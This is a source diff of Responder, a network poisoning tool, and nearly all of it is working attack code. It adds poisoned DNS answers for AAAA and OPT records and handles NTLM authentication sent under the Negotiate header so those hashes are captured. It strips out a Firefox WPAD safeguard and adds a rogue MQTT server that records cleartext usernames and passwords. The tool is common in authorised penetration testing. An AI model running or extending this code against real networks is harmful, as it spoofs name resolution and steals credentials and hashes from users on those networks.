||||
LineHeader = "[*] [NBT-NS]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'NBT-NS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
})
|
||||
except:
|
||||
raise
|
||||
|
||||
if Finger is not None:
|
||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||
|
||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
||||
netifaces>=0.10.4
|
||||
@@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
|
||||
Role = NBT_NS_Role(data[45:48])
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
|
||||
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
|
||||
RAPInfo = RAPThisDomain(Client, Domain)
|
||||
if RAPInfo is not None:
|
||||
print(RAPInfo)
|
||||
@@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
|
||||
|
||||
|
||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
|
||||
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
|
||||
RAPInfo = RAPThisDomain(Client, Domain)
|
||||
if RAPInfo is not None:
|
||||
print(RAPInfo)
|
||||
|
||||
70
servers/DNS.py
Normal file → Executable file
70
servers/DNS.py
Normal file → Executable file
@@ -15,7 +15,7 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from packets import DNS_Ans, DNS_SRV_Ans
|
||||
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
@@ -23,11 +23,16 @@ else:
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
OPT = data[len(data)-22:len(data)-20]
|
||||
if OPT == "\x00\x29":
|
||||
return "OPTIPv4"
|
||||
# If Type A, Class IN, then answer.
|
||||
if QueryTypeClass == "\x00\x01\x00\x01":
|
||||
elif QueryTypeClass == "\x00\x01\x00\x01":
|
||||
return "A"
|
||||
if QueryTypeClass == "\x00\x21\x00\x01":
|
||||
elif QueryTypeClass == "\x00\x21\x00\x01":
|
||||
return "SRV"
|
||||
elif QueryTypeClass == "\x00\x1c\x00\x01":
|
||||
return "IPv6"
|
||||
|
||||
|
||||
|
||||
@@ -39,19 +44,41 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
try:
|
||||
data, soc = self.request
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
@@ -65,19 +92,40 @@ class DNSTCP(BaseRequestHandler):
|
||||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
||||
buff = DNS6_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
3
servers/FTP.py
Normal file → Executable file
3
servers/FTP.py
Normal file → Executable file
@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
|
||||
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip().decode("latin-1")
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'FTP',
|
||||
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
||||
@@ -86,16 +86,6 @@ def GrabCookie(data, host):
|
||||
return Cookie
|
||||
return False
|
||||
|
||||
def GrabHost(data, host):
|
||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Host : %s " % color(Host, 3)))
|
||||
return Host
|
||||
return False
|
||||
|
||||
def GrabReferer(data, host):
|
||||
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||
|
||||
@@ -106,26 +96,9 @@ def GrabReferer(data, host):
|
||||
return Referer
|
||||
return False
|
||||
|
||||
def SpotFirefox(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
if UserAgent:
|
||||
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
|
||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||
if IsFirefox:
|
||||
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
|
||||
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad and SpotFirefox(data):
|
||||
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if Wpad and SpotFirefox(data) == False:
|
||||
if Wpad:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
@@ -177,6 +150,7 @@ def GrabURL(data, host):
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client, Challenge):
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
|
||||
# Serve the .exe if needed
|
||||
@@ -196,15 +170,14 @@ def PacketSequence(data, client, Challenge):
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
#Buffer_Ans.calculate(Buffer)
|
||||
Buffer_Ans.calculate()
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
@@ -216,7 +189,37 @@ def PacketSequence(data, client, Challenge):
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
|
||||
elif NTLM_Auth2:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
GrabURL(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
Buffer_Ans.calculate()
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
|
||||
if IsWebDAV(data):
|
||||
module = "WebDAV"
|
||||
else:
|
||||
module = "HTTP"
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
@@ -228,21 +231,20 @@ def PacketSequence(data, client, Challenge):
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||
'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1],
|
||||
})
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
@@ -251,14 +253,18 @@ def PacketSequence(data, client, Challenge):
|
||||
return Buffer
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
r = IIS_Basic_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
|
||||
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
Response = IIS_Auth_401_Ans()
|
||||
r = IIS_Auth_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
|
||||
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return Response
|
||||
|
||||
@@ -302,7 +308,7 @@ class HTTP(BaseRequestHandler):
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
self.request.close()
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
|
||||
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||
@@ -311,3 +317,4 @@ class HTTP(BaseRequestHandler):
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
13
servers/HTTP_Proxy.py
Normal file → Executable file
13
servers/HTTP_Proxy.py
Normal file → Executable file
@@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
rbufsize = 0
|
||||
|
||||
def handle(self):
|
||||
(ip, port) = self.client_address
|
||||
(ip, port) = self.client_address[0], self.client_address[1]
|
||||
if settings.Config.Verbose:
|
||||
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
|
||||
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
|
||||
self.__base_handle()
|
||||
|
||||
def _connect_to(self, netloc, soc):
|
||||
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
|
||||
try:
|
||||
if self._connect_to(self.path, soc):
|
||||
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
|
||||
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
|
||||
self.wfile.write("\r\n")
|
||||
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
|
||||
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
|
||||
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
|
||||
try:
|
||||
self._read_write(soc, 300)
|
||||
except:
|
||||
pass
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
finally:
|
||||
@@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
|
||||
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
|
||||
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
|
||||
print(text("[PROXY] Cookie : %s" % Cookie))
|
||||
|
||||
|
||||
@@ -40,11 +40,11 @@ def CalculateDNSName(name):
|
||||
def ParseCLDAPNetlogon(data):
|
||||
try:
|
||||
Dns = data.find(b'DnsDomain')
|
||||
if Dns is -1:
|
||||
if Dns == -1:
|
||||
return False
|
||||
DnsName = data[Dns+9:]
|
||||
DnsGuidOff = data.find(b'DomainGuid')
|
||||
if DnsGuidOff is -1:
|
||||
if DnsGuidOff == -1:
|
||||
return False
|
||||
Guid = data[DnsGuidOff+10:]
|
||||
if Dns:
|
||||
@@ -72,13 +72,13 @@ def ParseSearch(data):
|
||||
t.calculate()
|
||||
return str(t)
|
||||
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
if re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
|
||||
if re.search(b'(objectClass)', data):
|
||||
elif re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||
|
||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||
@@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge):
|
||||
|
||||
elif Operation == b'\x63':
|
||||
Buffer = ParseSearch(data)
|
||||
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
|
||||
print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:","")))
|
||||
return Buffer
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
|
||||
205
servers/MQTT.py
Normal file
205
servers/MQTT.py
Normal file
@@ -0,0 +1,205 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
|
||||
|
||||
#Read N byte integer
|
||||
def readInt(data, offset, numberOfBytes):
|
||||
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
|
||||
offset += numberOfBytes
|
||||
return (value, offset)
|
||||
|
||||
#Read binary data
|
||||
def readBinaryData(data, offset):
|
||||
|
||||
#Read number of bytes
|
||||
length, offset = readInt(data, offset, 2)
|
||||
|
||||
#Read bytes
|
||||
value = data[offset:offset+length]
|
||||
offset += length
|
||||
|
||||
return (value, offset)
|
||||
|
||||
#Same as readBinaryData() but without reading data
|
||||
def skipBinaryDataString(data, offset):
|
||||
length, offset = readInt(data, offset, 2)
|
||||
offset += length
|
||||
return offset
|
||||
|
||||
#Read UTF-8 encoded string
|
||||
def readString(data, offset):
|
||||
value, offset = readBinaryData(data, offset)
|
||||
|
||||
return (value.decode('utf-8'), offset)
|
||||
|
||||
#Read variable byte integer
|
||||
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
|
||||
def readVariableByteInteger(data, offset):
|
||||
multiplier = 1
|
||||
value = 0
|
||||
while True:
|
||||
encodedByte = data[offset]
|
||||
offset += 1
|
||||
|
||||
value = (encodedByte & 127) * multiplier
|
||||
|
||||
if (multiplier > 128 * 128 * 128):
|
||||
return None
|
||||
|
||||
multiplier *= 128
|
||||
|
||||
if(encodedByte & 128 == 0):
|
||||
break
|
||||
|
||||
return (value, offset)
|
||||
|
||||
class MqttPacket:
|
||||
|
||||
USERNAME_FLAG = 0x80
|
||||
PASSWORD_FLAG = 0x40
|
||||
WILL_FLAG = 0x04
|
||||
|
||||
def __init__(self, data):
|
||||
self.__isValid = True
|
||||
|
||||
controllPacketType, offset = readInt(data, 0, 1)
|
||||
|
||||
#check if CONNECT packet type
|
||||
if controllPacketType != 0x10:
|
||||
self.__isValid = False
|
||||
return
|
||||
|
||||
#Remaining length
|
||||
remainingLength, offset = readVariableByteInteger(data, offset)
|
||||
|
||||
#Protocol name
|
||||
protocolName, offset = readString(data, offset)
|
||||
|
||||
#Check protocol name
|
||||
if protocolName != "MQTT" and protocolName != "MQIsdp":
|
||||
self.__isValid = False
|
||||
return
|
||||
|
||||
#Check protocol version
|
||||
self.__protocolVersion, offset = readInt(data, offset, 1)
|
||||
|
||||
#Read connect flag register
|
||||
connectFlags, offset = readInt(data, offset, 1)
|
||||
|
||||
#Read keep alive (skip)
|
||||
offset += 2
|
||||
|
||||
#MQTTv5 implements properties
|
||||
if self.__protocolVersion > 4:
|
||||
|
||||
#Skip all properties
|
||||
propertiesLength, offset = readVariableByteInteger(data, offset)
|
||||
offset+=propertiesLength
|
||||
|
||||
#Get Client ID
|
||||
self.clientId, offset = readString(data, offset)
|
||||
|
||||
if (self.clientId == ""):
|
||||
self.clientId = "<Empty>"
|
||||
|
||||
#Skip Will
|
||||
if (connectFlags & self.WILL_FLAG) > 0:
|
||||
|
||||
#MQTT v5 implements properties
|
||||
if self.__protocolVersion > 4:
|
||||
willProperties, offset = readVariableByteInteger(data, offset)
|
||||
|
||||
#Skip will properties
|
||||
offset = skipBinaryDataString(data, offset)
|
||||
offset = skipBinaryDataString(data, offset)
|
||||
|
||||
#Get Username
|
||||
if (connectFlags & self.USERNAME_FLAG) > 0:
|
||||
self.username, offset = readString(data, offset)
|
||||
else:
|
||||
self.username = "<Empty>"
|
||||
|
||||
#Get Password
|
||||
if (connectFlags & self.PASSWORD_FLAG) > 0:
|
||||
self.password, offset = readString(data, offset)
|
||||
else:
|
||||
self.password = "<Empty>"
|
||||
|
||||
def isValid(self):
|
||||
return self.__isValid
|
||||
|
||||
def getProtocolVersion(self):
|
||||
return self.__protocolVersion
|
||||
|
||||
def data(self, client):
|
||||
|
||||
return {
|
||||
'module': 'MQTT',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'hostname': self.clientId,
|
||||
'user': self.username,
|
||||
'cleartext': self.password,
|
||||
'fullhash': self.username + ':' + self.password
|
||||
}
|
||||
|
||||
class MQTT(BaseRequestHandler):
|
||||
def handle(self):
|
||||
|
||||
CONTROL_PACKET_TYPE_CONNECT = 0x10
|
||||
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
|
||||
#Read control packet type
|
||||
controlPacketType, offset = readInt(data, 0, 1)
|
||||
|
||||
#Skip non CONNECT packets
|
||||
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
|
||||
return
|
||||
|
||||
#Parse connect packet
|
||||
packet = MqttPacket(data)
|
||||
|
||||
#Skip if it contains invalid data
|
||||
if not packet.isValid():
|
||||
#Return response
|
||||
return
|
||||
|
||||
#Send response packet
|
||||
if packet.getProtocolVersion() < 5:
|
||||
responsePacket = MQTTv3v4ResponsePacket()
|
||||
else:
|
||||
responsePacket = MQTTv5ResponsePacket()
|
||||
|
||||
self.request.send(NetworkSendBufferPython2or3(responsePacket))
|
||||
|
||||
#Save to DB
|
||||
SaveToDb(packet.data(self.client_address[0]))
|
||||
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
@@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
|
||||
if not data:
|
||||
break
|
||||
if settings.Config.Verbose:
|
||||
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
|
||||
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
|
||||
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
@@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler):
|
||||
if data:
|
||||
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||
self.send_response(soc, "MSSQLSERVER")
|
||||
elif data[0] == b'\x04': # CLNT_UCAST_INST
|
||||
self.send_response(soc, data[1:].rstrip("\x00"))
|
||||
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
|
||||
elif data[0:1] == b'\x04': # CLNT_UCAST_INST
|
||||
self.send_response(soc, data[1:].rstrip(b"\x00"))
|
||||
elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC
|
||||
self.send_dac_response(soc)
|
||||
|
||||
def send_response(self, soc, inst):
|
||||
|
||||
@@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
if settings.Config.Verbose:
|
||||
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
|
||||
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
